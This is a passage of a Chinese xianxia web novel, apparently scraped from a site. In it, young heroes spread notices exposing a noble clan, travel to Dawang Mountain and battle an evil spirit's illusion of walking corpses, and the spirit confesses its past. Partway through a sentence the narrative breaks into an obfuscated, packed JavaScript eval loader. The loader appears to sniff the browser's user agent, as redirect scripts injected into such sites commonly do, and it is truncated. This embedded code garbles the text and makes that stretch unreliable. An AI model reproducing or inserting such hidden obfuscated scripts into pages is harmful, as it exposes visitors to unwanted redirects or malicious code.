乔天璇打算让荀循提提神,便试探着向他问道:“荀循,你跟这家客栈的掌柜熟吗?” “嗯?算吧,我在这家客栈都住了半个月了。”荀循稍微清醒了一些。 “荀家人没来这里找过你吗?”乔天璇有些好奇。 “没有啊。”荀循彻底清醒了,小声道:“风云客栈位于东莱荀氏的边界,客栈的东家、掌柜、伙计、厨子通通都是隔壁武阳人。凡是进客栈的客人几乎都是南来北往的外地人,东莱本地人基本上不会进这家客栈,我就是看中了些许情况才特意来这家客栈的。毕竟我家的那些人怎么也不会猜到十四岁的我居然敢在之前从来没出过门的情况下住到这儿来。” 乔天璇疑惑道:“你既然之前从来没出过门,又如何知道外面是怎样的呢?” 荀循神神秘秘道:“哎嘿,我从小就爱看话本,尤其是东莱的一个名叫‘向天歌’的人写的关于东莱市井小人物的故事的话本。他写得很杂很细致,就连主人公与卖菜的老翁讨价还价的情节都写得很有意思很详细。还有主人公将他在几家客栈留宿的价格与留宿的感觉货比三家的事情,就是在那件事情中有提到这家风云客栈,说这家客栈的经营者全都是隔壁武阳人,顾客也基本上都是外地人,东莱本地人鲜有人光顾,外地人要留宿的话住这儿是最合适的。诸如此类的描写我看多了,自然就能大致了解到整个东莱的市井生活是如何的了。” 乔天璇不禁感慨:“原来如此,于你而言,还真是读书改变命运呢……” 荀循骄傲道:“那可不,我大哥也爱看。每次向天歌一出新话本,他就立马会买回去看。我只要耐心等个七、八天左右,大哥就能把新话本看完。这时候,大哥会把话本小心翼翼地放到我家的书阁中,我只要去书阁中拿来看就行了。反正家里人不管我看书的事情,我想看什么就看什么,有时候甚至还能看到大哥偷摸藏在书阁深处带插图的……‘那种’小说呢!” “呵,好家伙啊。”乔天璇由不得笑出了声,心中暗道:“真没想到荀韫表面上看起来一副礼仪端庄,一尘不染的世家大公子模样,背地里也会看‘那种’小说,还是带插图的那种。” “那你看了‘那种’小说吗?”花蕊满眼好奇地望着荀循。 “这个……我……那个……”荀循眼神躲闪,不太敢直视花蕊。 “没事儿,看了就看了嘛,没什么不好意思的。”乔天璇饶有兴致地扬起了一边的嘴角。 一提到带插图的“那种”小说,四侠行客中的其他三侠也来了精神,全都不打瞌睡了。 段忆昔胸有成竹道:“你肯定看了。” 戚时初暗暗兴奋道:“我要是你,我立马就窝在书阁里飞快地看完!” 绪子华意味深长道:“就算没看内容,那插图肯定是一眼就能看到的吧?” “……我、我,啧,唉……好吧,我看了。”荀循怎么也想不到自己居然会被逼迫着承认这种事情。 祝源刚好写完了一张告示,他抬头对荀循道:“那你还有看什么别的书吗?” 荀循仿佛是见到了救星似的,他激动地对祝源道:“刘二柱养狗记!” “……” “这是……讲养狗的书?”祝源约莫肯定自己的猜测是对的。 荀循道:“没错,这书的故事老长了,刘二柱把他养狗的十二年非常详细地记录了下来,细致到了他的狗每日的每一个动作、表情,非常好看!只不过最后的结局是狗成精了,但刘二柱病逝了。” “病逝了?”乔天璇怀疑道:“那写书的人不是刘二柱?或者说写书的人是刘二柱,但结尾病逝的事情是别人帮刘二柱加上去的?” 荀循连连摇头道:“不是刘二柱写的,刘二柱只是书中的主人公而已。写书的人叫什么我不记得了,但我明确地记得写书的人不叫刘二柱。” 乔天璇叹息道:“那书中的刘二柱应该是著书人的某个朋友。不过狗成精,人病逝这个结局可真是令人唏嘘……” 花蕊思索道:“依我看,实际上应该是狗病逝了,但是刘二柱过于思念他的狗,就想象他的狗成精了。这样一来,在刘二柱的想象中,他的狗就有了精怪那样漫长的寿命。” “我也这么觉得。”祝源点了点头。 “……唉,大将军。”花蕊缓缓垂下了眼眸。 乔天璇明白花蕊是由刘二柱的狗想起了那帮来仙落岛上乱杀的人杀死了的大将军。 大将军是为了保护花蕊的姑姑和表弟才死的,还被砍掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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得益于祝源的绝佳文笔,许多人看得津津有味,看着看着便情不自禁将告示上写的东西给念了出来,由此又吸引了一大波人前来围观。 不一会儿,围观告示的人群中就传出了各种各样的议论声。 “老天爷呀,没想到东莱荀氏居然如此虐待自己的幺子,真是可怕!” “幺子不应该是家里面最受宠最被疼爱着的吗?他们居然想要用幺子的命去换残疾二哥能起身走路的可能,幺子的命难道就不是命吗?!” “太恶毒了!太恶毒了!东莱荀氏,不干人事!” “怎么能这样对待一个孩子?还有那什么域外仙医……我看分明就是想要借此机会以极其残忍的方式杀害小孩的域外杀人犯!” “没错!东莱荀氏联合专门杀小孩的杀人犯虐杀幺子!” “指不定残疾二哥其实也会死在这场荒唐的医术中!” “对啊,这种违背人性的医术一看就不可能实现!” “太残忍了!必须得有人管管才行!” “说不好那域外仙医……呸!域外杀人犯还会去蒙骗年老多病的老人,坑骗咱们的父母哇!” “不行!这样的事情绝对不能发生!” “走!我们去荀府门前闹腾,把他们这些见不得人的事情传出去!” “好!走走走!” 看到一些人当即便往荀府的方向走,一些人则将事情说与耳背的老人听,乔天璇安心道:“效果不错,大功告成,咱们回风云客栈接荀循吧。” 与此同时,陈渊龙也贴完了最后一张告示。他快步赶回了乔天璇的身旁,小心翼翼道:“接了荀循之后是要去大妄山吗?” 乔天璇道:“对,师父说过要去大妄山灭了那占据了山神石像的邪灵。” 闻言,一旁的洛侠微微一笑。 陈渊龙脸色一沉,不悦地瞟了洛侠一眼,对乔天璇道:“那我来带路,我清楚去大妄山的路。” “哦?好啊。”乔天璇看向了陈渊龙,眼中带着期待与似是挑衅的情绪,无所谓道:“你想给我们带路就给我们带路呗。” 68. 东莱循氏(八) “那就这么定了。”陈渊龙像是生怕乔天璇突然反悔了似的。 乔天璇心中其实也在庆幸陈渊龙居然识得去大妄山的路。 如此一来,她就不必再去向陌生人问路了。 听着身后不断传来人们对东莱荀氏的议论声、辱骂声,乔天璇心中莫名有种大仇得报的快感。 仔细一想,乔天璇大概明白了自己为何会有这种感觉。 东莱荀氏封锁消息的行为像极了当年淮南乔氏对乔天飞一事的做法。 而今东莱荀氏费尽心思和力气保密的事情就这么轻轻松松铺天盖地地被传了出去,再加上乔天璇还是主谋,她自然觉得快意极了。 很快,一行人回到了风云客栈。 刚到客栈门口,大家就听到一声泼辣的女声从客栈大堂中传了出来。 “赊账赊账,你都已经赊了三天的房费了,还想赊账?赶紧带着你的破烂滚蛋!滚!!!” 下一刻,一个破衣烂衫灰头土脸的男人就背着打满补丁的行囊灰溜溜地从客栈大门中跑了出来。 他似乎还是有些不舍,又转头望向了客栈,可又不敢再回去。 当一个一袭粉衣,编了满头细辫子,头上还歪戴着一朵大红花的中年女子从客栈门口大步走出来时,方才被赶出来的男人登时就跟见了鬼似的连滚带爬跑走了。 “没钱了还想来白住?真是好不要脸!不要脸!!!”粉衣女子气呼呼地望着男人越跑越远的背影,满眼嫌弃。 “客栈老板娘?”戚时初一眼就认出来了眼前的粉衣女子是谁。 “嗯?”粉衣女子转头看向了戚时初,当即换了一副面孔,高兴道:“哎呀,原来是戚小公子,不知最近在我这儿住得舒不舒服,饭菜合不合胃口啊?” “还不错,我觉得我的朋友们对饭菜都挺满意的。” 说着,戚时初望向了身旁的几人。 客栈老板娘见眼前有这么多客人,赶忙热情欢迎道:“呀!来来来,大家有什么话都进来坐着说,站着多累啊,进来进来。” 见客栈老板娘如此热情,乔天璇也不客气,立马大摇大摆地走进了客栈大堂中。 其余人随在乔天璇身后一齐步入了客栈大堂。 此时,荀循正坐在凳子上守着一桌子还未收拾的笔墨纸砚,百般聊赖地等着众人,整个人跟个蔫巴了的茄子似的。 看到乔天璇一行人回来了,荀循当即站起了身,眼中重新亮起了光。 乔天璇把用剩的浆糊递给客栈老板娘,道:“这是你们客栈的浆糊,多谢借用。” “哎呀谢什么啊,你们就是我的大金主啊,借点浆糊而已,不必谢啦……”客栈老板娘接过浆糊的同时飞快地打量着乔天璇几人,不由得惊叹:“我的天呐,几位客官真是生得好看哇,莫不是神仙下凡?哎哟不得了,你们能来我这儿实乃我的荣幸也!风云客栈因你们而蓬荜生辉!” “哪里哪里,老板娘过奖了。”乔天璇对着客栈老板娘礼貌地笑了笑。 客栈老板娘登时受宠若惊一般害羞地掏出了袖中的紫色手帕反手半遮着脸,激动道:“这位客官生得实在是美丽动人,不知我该如何称呼客官?” 乔天璇道:“云天,三侠行客之一的云天女侠。” “三侠行客?!”客栈老板娘顿时震惊地睁大了双眼。 毫无疑问,三侠行客的事迹传遍江湖,鲜有人不佩服三侠行客所行之事。 花蕊连忙凑到了乔天璇身旁,骄傲道:“没错,我也是三侠行客之一,叫我玉心女侠就行!” 许是过于激动了,客栈老板娘手中的紫色手帕一下子脱手掉落到了地上。 乔天璇蹲下身子捡起落了地的紫色手帕,起身递回给了客栈老板娘,依旧礼貌地笑道:“老板娘,你的帕子。” 客栈老板娘哆哆嗦嗦地接过了乔天璇递回给自己的紫色手帕,惊喜道:“今儿是什么好日子啊?三侠行客居然来我这儿了,这是什么大喜事儿?!” 掌柜乐呵地朝客栈老板娘道:“东家,今儿不仅三侠行客来了,四侠行客也来了呢。” “四侠行客?里面有谁?我之前没听过这个呀?”客栈老板娘满脸疑惑。 “是我们!” 荀循飞快地跑向了乔天璇这边,与四侠行客的其余三侠一齐来到客栈老板娘的身前摆了一个夸张的组合造型。 客栈老板娘惊得倒吸凉气,不可置信道:“清江段氏段小姐!傅陵绪氏绪小公子!东莱荀氏荀小公子!京兆戚氏戚小公子!原来、原来你们就是四侠行客!” “没错!”荀循认真道:“我们可是得到了三侠行客肯定的人!” “……嗯,是啊。”乔天璇含糊地承认着,莫名觉得有些尬尴。 但客栈老板娘并不觉得尴尬,她望向了荀循刚刚坐着的位置,见桌面上摆着还未收拾的笔墨纸砚,好奇道:“你们在写诗?” “不不不,没有没有。”乔天璇连忙摆手。 客栈老板娘疑惑道:“那你们是在……” “没错!我们就是在写诗!”祝源突然坚定地回应了一句。 花蕊慌忙用力捂上了祝源的嘴巴,不好意思地对客栈老板娘道:“他就是个进京赶考的书呆子,平时有事没事都会作两句诗自我陶醉。哈哈,不用管他说的话。” 乔天璇连忙道:“对对对!老板娘,我们只是在检查这个书生箱笼里的东西,看看够不够他进京赶考用。毕竟我们都是他的朋友嘛,当然希望他能够顺顺利利地赶考,开开心心地高中状元啊!” “哦,这样啊……”客栈老板娘对着祝源点了点头,道:“原来是进京赶考的书生,那祝你赶考顺利,成功高中状元!” “嗯嗯唔唔唔嗯嗯嗯!”祝源仍旧被花蕊捂着嘴巴,两只眼睛睁得溜圆,一句话都说不出来。 “那我们先去帮这个书生收拾东西了。”乔天璇快步走向了放着笔墨纸砚的桌子。 “行,你们慢慢收拾,不着急啊。”客栈老板娘欢喜的声音从后方传来。 “好!”乔天璇头也不回地应了一声。 来到了放着笔墨纸砚的桌子旁,花蕊烦躁且小声地在祝源耳边质问道:“你刚刚嘴巴是突然找抽了吗?!” 祝源小声委屈道:“我解释我们是在写诗可以避免以后荀家人若是查起是谁写的那些告示时会对我们起的怀疑嘛。” “啊?是嘛……”花蕊似是有些悟了,但她还是轻轻拍了祝源一巴掌,小声道:“你就不怕客栈老板娘向你讨诗吗?” “怕什么?讨诗就给啊,这有什么好担心的?”祝源不以为然。 “笔迹。”乔天璇看向了祝源,低声道:“若是源兄写的诗和外面的告示的笔迹是一样的,那到时候荀家如果真的查起来了怕是就会有麻烦了。” “好像……也对啊……”祝源后知后觉,自己扇了自己一巴掌,懊悔道:“对不起,是我考虑不周。” “没事,我们收拾东西吧。”乔天璇带头收拾起了桌子上用剩的纸。 既然事情并未发生,那就不打紧。 陈渊龙和洛侠立马抢着来帮忙。 见状,其余人也一起帮忙收拾了起来。 不一会儿,桌上的笔墨纸砚就都整整齐齐地收回到了祝源的箱笼中。 祝源重新背上了箱笼,乔天璇低头看向了荀循,像是突然想起来了什么似的,当即把背上的黑色斗笠取了下来递给了他,道:“你可千万小心别被东莱荀氏的人给抓回去了,戴着这个遮脸吧。” 荀循小心翼翼地接过黑色斗笠,抬头对乔天璇感激道:“多谢云天女侠!” “没事,戴着吧。”乔天璇忽地又想到这黑色斗笠是洛侠送给自己的,她转头望向了洛侠,道:“师父,如何?” “借给他戴罢。”洛侠并不反对。 看着荀循戴上了黑色斗笠,乔天璇会心一笑。 这黑色斗笠倒是给荀循那十四岁的小身板增添了几分侠气。 “走,我们出发去大妄山。”乔天璇望向了陈渊龙,语气挑衅道:“殿下,你带路啊。” 陈渊龙与乔天璇对视了一眼,突然一把拉住了乔天璇的手,道:“跟我走。” “喂!喂喂喂喂喂喂喂……”乔天璇猝不及防被陈渊龙拉着手往客栈大门快步走去。 “欢迎再来啊!”客栈老板娘期待地对着乔天璇挥了挥手。 “好的再见!”乔天璇抽空跟客栈老板娘礼貌地微笑着点了点头,继而转头不安地看向了身前的陈渊龙,使劲挣了一下自己被陈渊龙拉着的手,却立马感觉到陈渊龙拉得更紧了。 身后其余人齐齐跟了上来,在经过客栈老板娘时纷纷像乔天璇那样和她告了别。 陈渊龙暗声道:“云天,走在我的身旁可好?” 乔天璇不甘心道:“我不。” 陈渊龙道:“为什么?” 乔天璇窝火道:“你小时候天天给我甩冷脸子,看我的眼神冻得我直哆嗦,我被冷怕了,感觉非常难受,至今难忘,清楚了吗?!” 陈渊龙这会儿已经拉 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若是洛侠当时没有及时赶到,陈渊龙怕是那会儿就已经被童竹给活埋了,而花蕊也算是被陈渊龙用命救过了一次。 想着,乔天璇搂着花蕊走到了陈渊龙的身旁,道:“殿下,从这里去大妄山大概要走多久?” 陈渊龙转头看着身旁的乔天璇,犹豫道:“这里是东莱内陆的边界处,大妄山在东莱的海边,大概得走五日。” “……” 乔天璇没有任何回应。 “云天?”陈渊龙见乔天璇对自己说的话毫无反应,疑惑道:“是不是觉得太远了?” “……” 乔天璇还是没有任何反应。 被乔天璇搂着的花蕊道:“云天,这个距离还好吧?” 乔天璇毫无压力道:“是啊,还好。我们从仙落岛出来之后都已经走了那么远的路了,五天而已,不算什么。” “嗯嗯,不算什么。”花蕊赞同地点了点头。 陈渊龙道:“那我们就不走经过荀府的那条路了。” “……” “云天?”陈渊龙的目光就没有从乔天璇的身上移开过。 “……” 陈渊龙道:“你不愿与我说话了吗?” “……” 乔天璇对怀中的花蕊道:“玉心,你看,你听,街上好多人在讨论告示上写着的事情。” 花蕊往四周望了望,听了听,点头道:“对啊,好多啊。” 陈渊龙道:“都得归功于云天的谋略。” “……” 乔天璇一言不发。 片刻后,乔天璇对怀中的花蕊道:“你刚刚听到了吗?那个人说东莱荀氏家主之前曾在青楼包场了一整日呢。” “听到了,玩得可真够花,怕不是把整座青楼的女子都睡了一遍吧?”花蕊满眼嫌恶。 荀循立马从后面赶到了花蕊身旁,白了一下眼,嫌弃道:“他不行啦,睡不了那么多的,软蛋一个,要不然在我之后他怎么就没能让母亲再怀上一个孩子?” “噗哈哈哈哈哈哈……”花蕊忍不住笑出了声。 祝源走到了荀循身后,不安道:“你这样说你的父亲好像不太好吧?” 荀循毫不在意道:“说,我就是要说,他就是没用,他就是软蛋一个,我就是不喜欢他,我恨他。” 听到荀循越说越起劲,乔天璇不由得想起了自己的父亲,不禁叹息道:“是啊,有这样一个父亲,还不如没有。” 陈渊龙不知是不是也想起了他的父亲,赞同道:“既是如此,说说也无妨。” “……” 乔天璇连看都不看陈渊龙。 沉默中,陈渊龙大概是明白了。乔天璇方才说过他当年对她冷漠,那么现在的她就是在用行动对当年的事情以牙还牙。 可当年的自己也没有对她冷漠到这种地步吧? 陈渊龙扪心自问,他还是会接乔天璇问他的话的,并不是完全不理会。 难不成是因为自己当年没有在课间的时候和她一起与世家长子们玩儿? 她好像还因为这件事情老是在自己所坐位置的窗外故意吵吵闹闹来着…… 虽然一时半会儿想不清楚乔天璇为何突然如此冷漠地对自己,但陈渊龙并不因此而发火。 于他而言,乔天璇现在能够走在他的身旁便已足矣。 69. 大妄邪灵(一) 五日后,九人来到了大妄山的山脚下。 此时已是未时,刚过一日中阳气最旺的时辰。 往不远处望去,可以看到海边有一个停泊了许多船的码头。 码头旁有一家成排的大客栈,面朝海,背靠一条通往码头的土路。 从码头出海的人和入住客栈的人一波接着一波,一片繁荣之景,没有丝毫此地不祥的感觉。 乔天璇回想起陈渊龙之前说过大妄山前的那个码头就是他出海去寻她的出发地,不解道:“为何大妄山上有如此凶恶邪气的东西,可大妄山附近这一带却丝毫不见邪灵控制恶灵作祟的样子?反而距离大妄山越远的地方就越遭殃,甚至十室九空?” 陈渊龙道:“或许邪灵还在妄想大妄山附近的人有朝一日会上山去拜它。” 洛侠道:“为师觉得邪灵之所以不在大妄山附近作祟,估计是因为它兔子不吃窝边草。而且码头和码头旁的客栈若是繁荣,就能吸引更多的外地人来到东莱,这样东莱就有更多的人可以供给它作恶了。如此一来,倒霉的反而就是东莱中部与东莱西部、南部、北部的人。” “对哦……师父说得好有道理。”乔天璇点了点头。 陈渊龙眉头微蹙,脸色微沉。 荀循思索道:“这么一说好像还真是这样,妖龙第一次袭击的是东莱中部,第二次袭击就到了东莱与内陆的边界处,都是在远离大妄山的地方。” 乔天璇道:“我们先上山吧。” “好,上山。”陈渊龙快步带着众人来到了上大妄山的一条土路。 一行人刚开始走这条上山的土路时还算走得顺畅,然而越往山上的龙脉而去,路就越陡,铺在路上的落叶就越多,走起来愈发困难。 “怪不得没人来拜山神,这种破路谁会喜欢走?”乔天璇深一脚浅一脚地走着,十分费劲。 洛侠道:“从前这路应该是好走的,只是走的人慢慢少了,路就逐渐被山上的落石和落叶变得不好走了。” 花蕊道:“一定是因为山神不灵,所以到最后就彻底没人来拜了。” 祝源道:“也有可能是因为大妄山上闹鬼……” “啪!” “闭嘴。”花蕊不轻不重扇了祝源一巴掌。 “哦。”祝源委屈巴巴地捂起了自己被花蕊扇了一巴掌的半边脸。 约莫走了一个时辰,一行人好不然容易来到了山上龙脉处的寺庙外,却是被眼前的景象吓得发愣。 只见寺庙周围遍地死尸,已经形成了一个围绕着寺庙的尸圈了。 乔天璇看着满地形态狰狞的死尸,沉声道:“这些肯定都是邪灵让被其所控制的恶灵夺舍了之后来到此地自尽献祭的人。” 花蕊愤恨道:“害死了这么多的人啊……根本数不清,简直罪不可恕!” “的确不可饶恕。”洛侠跨过地上的一具具死尸,在死尸与死尸的空隙间落脚,一步步走向了寺庙的大门。 “师父……”乔天璇连忙跟到了洛侠身后,学着他的样子在死尸与死尸的空隙间走出一条路来。 其余人也鼓起勇气步向了满地死尸,踮着脚一点一点来到了寺庙的大门前。 寺庙的大门敞开着,里面空无一人,静得可怕。 一阵阴风从寺庙中不知什么地方吹了出来,虽然风力不大,但却吹得乔天璇忍不住抖了一哆嗦。 段忆昔不禁道:“这风怎么凉得跟冰块上冒出的寒气一样?” 绪子华也打了个寒颤,不安道:“肯定是邪灵的问题。” 戚时初探头往寺庙里望了望,小声道:“死了这么多人在外边,寺庙里面该挤满冤魂了吧?” 荀循拍了拍戚时初的肩膀,道:“放心吧,冤魂都被邪灵变成恶灵去附身大蛟夺舍了,就是那个妖龙,不久前才被云天女侠的师父给灭了。现在寺庙里面空空荡荡,只有邪灵一个。” 洛侠迈步跨过门槛,带头走进了寺庙中。 一行人紧随洛侠身后,一路来到了山神像跟前。 神像本应给人肃穆庄严或慈祥温和的感觉,可眼前的神像即便是微笑着的,但却让在场的所有人都感觉很不舒服。看着神像时非但没有感到宁静,反而心中莫名地生出了强烈的不安与恐惧之意,觉得神像阴寒无比。 大家都知道山神像被邪灵占了身,没有一个人对着山神像参拜和许愿。 “嘎吱……嘎吱……” 安静的寺庙中突然传出了诡异的怪声。 山神像前的九人都听到了刚刚的声音,顿时呼吸声都轻了不少。 大家一动不动,心照不宣地等待着那种奇怪的声音再次出现。 可等了片刻,方才的那种声音却并未再出现。 乔天璇刚打算从腰间的黑色乾坤袋中取符观灵时,大家想再听一遍的声音忽地又响了起来。 “嘎啦……嘎啦……” 这一次,乔天璇听出来了这声音就是从山神像的身上传来的。 毫无疑问,这是非常明显的邪灵占身迹象。 洛侠二话不说,当即从储物袋中取出了一个看起来像是罗盘一样的法宝。 乔天璇明白洛侠是想要通过法宝来快速搞清楚占据了山神像的邪灵是哪一种邪灵。 邪灵有别,有寻常孤魂、冤魂、精怪、魔障之分,其性各异,不能一概而论,化解之法亦殊。若误判其类,如将魔障视为孤魂超度,非但无效,反激其凶性,亦会让超度者陷入极其凶险的境地。 洛侠一手托着罗盘,另一手施法,神情严肃非常。 罗盘逐渐开始散发柔和的白光,指针摇摆不定。 乔天璇实在是好奇这邪灵的模样,她从腰间的黑色乾坤袋中取出一符,两指将符夹到了自己的右眼前,边给符注入灵力边道:“现!” 霎那间,乔天璇的左眼前出现了一个与山神像重叠着的半透明白衣青年男子。 只是乔天璇愣是看不清这白衣男子的脸长什么样子。 也不知这邪灵到底是有多强,乔天璇手中的符仅支撑她看了一息便如燃尽了一般从她的两指间化作灰烬随风飘散而去。 “倒是不怎么像个邪灵啊。”乔天璇有些感慨。 她原本都已经做好了看到一个张牙舞爪的怪物,又或者是黑衣大魔头的准备,可万万没想到看到的居然是一个白衣青年男子。 此时,洛侠手中罗盘的指针猛烈地晃动了起来。 乔天璇也想知道眼前这占据了山神像的邪灵到底属于哪一类别。她聚精会神地盯着洛侠手中的罗盘,期待着罗盘的指针停下来的那一刻。 突然,眼前所见的一切就如逆时针倒转了一圈的球。乔天璇先是感觉一晕,仿佛一不小心脚滑溺入了水中,随即又被一股巨大的力量从水中从另一边强行拉出了水面,稳稳地站在了岸边。 等等,不对劲……好黑? 乔天璇抬头一望,发现已至黑夜,寺庙中各处都亮起了摇曳的烛火。 “怎么回事?天黑了?”花蕊慌张地张望了一下四周。 洛侠冷静道:“是幻境,幻境里面是黑夜。” “这是邪灵的幻境?”乔天璇见洛侠手中洛盘的指针一直缓缓地摇摆不定,但就是不停下来。 “对。”洛侠猜测道:“它许是觉得我们太奇怪了,既不拜它,也不向它许愿,亦不自尽献祭给它。而且它可能还察觉到了我在用法宝探它,便将我们全都拉进了它的幻境中。” “如何出幻境?”陈渊龙不悦地看着洛侠。 洛侠道:“破坏阵眼,或者让邪灵崩溃、消散。” “阵眼一时半会儿估计是找不到的,那就先试试让邪灵崩溃吧。”乔天璇转身看向了山神像,一手伸进腰间的黑色乾坤袋中取符,欲布阵后施以灵力,再用灵师独有的威压向占据了山神像的邪灵询问身世,以此来明确邪灵的类别。 既然洛侠的罗盘如同失灵了一般探不出邪灵的类别,那就只好靠灵师的威压来强迫邪灵了。 “真是敬酒不吃吃罚酒。”乔天璇不屑地看着山神像,仿佛她就算不借助符来观灵,也已经能够直接看得到占据了山神像的邪灵一样。 可不等乔天璇开始布阵,寺庙外便猛地传来了多而杂的“ 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“好!”花蕊第一个答应。 其余人也齐齐围成了一个圈,把祝源护在了中间。 “嗷嗷呜嗷嗷哦嗷嗷啊嗷嗷嗷嗷啊嗷嗷嗷嗷……” 无数走尸发狂了一般冲向山神像前的九人,还未白骨化的那些走尸喉中不断地发出可怕且怪异的吼叫声。 围着祝源的八人忍着走尸散发出的阵阵腐臭味,紧握手中的利刃,奋力挥砍着源源不断涌入寺庙中的走尸。 段忆昔边砍走尸边怒道:“可恶,这些可怜人生前被夺舍、自尽献祭,死后还要被控制尸身,这邪灵简直不干人事!” “邪灵本来就已经不是人了啊!”荀循猛地砍翻了一只走尸,气都来不及喘一口便又去砍下一只朝他狂奔而来的走尸。 “不,这只是邪灵的幻境。现在幻境外的那些死尸还躺在寺庙周围,我们现在面对的这一切都是假的!”绪子华明知如此,却还是砍走尸砍得剑都冒火星子了。 戚时初绝望道:“就算是假的,可眼前这情况也已经跟真的没什么两样了!” “哇啊哈哈哈哈哈哈哈哈哈……哇啊哈哈哈哈哈哈哈哈哈……” 九人身后的山神像突然发出了肆意的狂笑。 毫无疑问,那是邪灵的笑声。 “我的天呐……我的天呐……”祝源面对无数前仆后继的走尸和身后邪灵的笑声皆是无能为力,只能自己抱紧自己缩在八个围着他的人中间,尽量让自己冷静下来。 “这个邪灵真是太坏了!”花蕊奋力砍着走尸,在她刀下的走尸就没有一只能在挨了一刀后还能站起身来的。 “不行,走尸实在是太多了。”乔天璇砍得气喘吁吁,她已经完全记不清自己到底砍倒了多少走尸,只知道寺庙大门处还在不断地涌入无穷无尽的走尸。 乔天璇以前还从未遇到过这种情况。 眼前的走尸如同过境的蝗虫,密密麻麻,癫狂无比,怎么砍都砍不完,一只又一只接踵而来,有时候甚至是好几只一起向人扑来,在砍走尸的同时还得好保护好包围圈中的祝源,她想在山神像周围布阵的想法已经不现实了。 “小心!” 陈渊龙和洛侠的声音在乔天璇的左右两边一同响起。 乔天璇也看到了陈渊龙和洛侠在让自己小心什么。 那是五只挤在一起朝自己直奔而来且高度腐烂的走尸! 随即,陈渊龙和洛侠的剑从一左一右同时挥来,各砍翻了一只朝着她扑来的走尸。 乔天璇横着一剑挥去,将剩余挤在一起的三只走尸一招砍倒在地,不安道:“这样下去不行,这是邪灵的幻境,一切都随邪灵的心意而动,走尸可能永远都砍不完!” 花蕊喘息道:“那……我们还能如何?” “如何?”乔天璇抬头看了一眼寺庙上方,脑海中忽地灵光一闪,道:“师父掩护我!我去天花板那儿布阵!帮我守一下走尸!” 70. 大妄邪灵(二) “好!”洛侠毫不犹豫地答应了,当即挥剑为乔天璇砍倒了不少挡了她御剑位置的走尸。 乔天璇抓紧时机立马御剑飞至寺庙的天花板下。 众人围着祝源的包围圈即刻缩小了一些。 陈渊龙抽空抬头望了一眼上空的乔天璇,随即转头对眼前的走尸砍得更猛了。 “啊嗷呜呜呜啊啊啊啊啊嗷嗷嗷嗷……” 底下不少走尸抬头看到御剑飞到了它们够不着的地方的乔天璇,纷纷愤怒地大吼大叫起来。 乔天璇御剑飞至山神像顶上的天花板处贴符布阵。 与小时候相比,乔天璇现在的布阵手法可熟练多了。 伴随着底下的砍杀嚎叫声,顷刻间,一个圆形的法阵便布好在了天花板上。 乔天璇将手中两指夹着的一张符指向了法阵正下方的山神像。 “阵启!” 顿时,天花板上的法阵落下一道红色光柱,乔天璇与山神像一同被置在了一片红色灵光之中。 身影与山神像重叠着的白衣青年男子在红光中现出了身来,让在场的所有人都看到了邪灵的模样。 只不过邪灵的脸仍旧模糊,令人无法看清。 与此同时,置身于红色灵光之中的乔天璇对占据了山神像的邪灵命令道:“你的身世,说!” 灵师独有的威压压得邪灵痛苦到了极致。 邪灵发着抖双手抱头,紧闭双眼,被迫如实回答。 据邪灵所述,它本是一名弃婴。虚天门掌门在一次下山除妖后将为人时的他从一条溪边捡回,他便顺理成章地成了虚天门内门弟子。 掌门因裹着他的襁褓里有一块玉佩,上面刻着“万吟潇”三个字,想来应该就是他的名字,便唤他为万吟潇。 万吟潇被掌门亲手带大,亲自教授一切功法,使得他为人时自命不凡,理所应当地觉得自己就该是虚天门的下一任掌门。 然而,虚天门是个极其强盛的仙门,最不缺的就是天之骄子。 众多天资过人强得耀眼的师兄师姐令万吟潇在他们之中显得黯然失色,也让万吟潇意识到他之所以能够成为内门弟子,完全就是因为他是掌门亲手捡回来亲手养大的,掌门潜意识里把他当义子,所以特别优待他。 对此,万吟潇虽然不愿面对,但也不得不承认自己就是比不过这些师兄师姐。 他的资质中上,唯一突出的天赋是御剑极快,非常擅长逃跑。而他也时常因为这项天赋被同门冷嘲热讽,说他不适合修仙,倒是适合去帮人跑腿、送镖。 可万吟潇不愿真的当个送镖人。 他苦苦修炼了这么多年,若是到最后只能当个送镖的,那对他来说就等于是全盘否定了他过去这么多年来修炼时所受的苦、遭的罪。 为了不让自己觉得自己为了修炼付出的努力全都是在浪费时间,万吟潇偷偷修习了邪门的蛊术。趁着月黑风高,他给比自己厉害的师兄师姐们在睡梦中种下了“功高自爆蛊”,让师兄师姐们接二连三在突破了境界之后纷纷自爆而亡。 掌门逐渐发现了事情的不对劲,他费尽心思用尽手段查到原来是万吟潇搞得鬼,当即怒火万丈地要就地处死他。 然而,万吟潇早已仗着自己与掌门女儿关系好,偷偷给掌门女儿种下了“万事听话蛊”。在掌门带着女儿一同揭穿了他所做的一切的房间中,他先是控制掌门女儿,让她突然从后往前一剑捅穿了掌门的心脏,随后又控制掌门女儿拔剑自刎。 就在万吟潇以为自己即将稳坐掌门之位,仰头哈哈大笑时,他万万没想到掌门的心脏并不像大家那样长在胸口左边,而是长在胸口右边,方才那一剑对修仙之人来说不过是皮肉伤而已。 掌门立即驱剑猛然飞至掉以轻心的万吟潇脑门前,一剑将其脑袋捅穿。 可万吟潇想当虚天门掌门的念头已经成了他刻进灵魂中的执念,他就算已经死了也不甘心。因其所习邪术早已侵蚀灵魂,又看到自己死后掌门抱着女儿痛哭流涕,他的死灵兴奋至极,当即堕成邪灵,誓要想尽一切办法用尽一切手段当上虚天门掌门。 只不过死灵若是没有合适的栖身之地,七日之后便会进入轮回。 但由于万吟潇的逃跑速度极快,他的灵体以极短的时间飘至人间各处寻找栖身之地。在他死后的第六日,他偶然飘至大妄山,发现了早已无人祭拜的山神像,立马毫不犹豫地将其占据。 “原来你就是万吟潇。前辈,久仰啊。”洛侠听完了邪灵的自述,将失灵的罗盘收回了储物袋中,咬牙切齿地对着邪灵道了一句。 “……前辈?”邪灵顶着来自灵师的强烈威压,哆嗦着看向了洛侠,疑惑道:“你也是虚天门弟子?” “没错,而且和你一样,都是虚天门内门弟子。”洛侠依旧在奋力砍着源源不断向他扑来的走尸,回应邪灵的语气毫无感情,就仿佛虚天门内门弟子的身份对他来说算不得什么似的。 